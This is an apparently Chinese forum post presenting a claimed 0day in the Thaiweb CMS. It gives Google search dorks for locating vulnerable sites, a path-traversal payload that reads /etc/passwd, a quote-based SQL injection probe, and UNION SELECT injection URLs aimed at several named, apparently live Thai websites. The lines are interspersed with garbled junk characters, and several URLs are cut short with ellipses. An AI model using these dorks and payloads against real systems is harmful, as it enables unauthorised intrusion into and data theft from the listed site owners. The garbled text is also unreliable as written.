Thaiweb远程文件sql注入漏洞0day

admin

Google之:
+ O; Z- \( W+ @
2 I3 |3 y, e$ v8 x# a, Lintext:powered by Thaiweb
% U2 k7 j0 r# {
# X$ G  s4 O, P: v3 s& U9 s. zinurl:index.php?page=board.php
; E3 d9 e0 a8 N  @. l

" V  b  H2 u! S1 T8 ~
利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
, R1 x( X8 Q- v# E' ]
1 Q. Z( f0 m- B. l, n- T9 }: S
7 W& n$ \- U0 O$ Z
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'

* {8 l! P( V3 [  L- Q9 U) |" w1 b) D
6 y. Y7 Y: G0 [, d' d
! A' \3 h+ `4 v- W- d$ [/ yhttp://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
2 s# a$ P; ?8 c0 x8 w( Q7 G
! }, A) x1 S! ahttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
) A4 O! P8 S; e. Z/ E
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--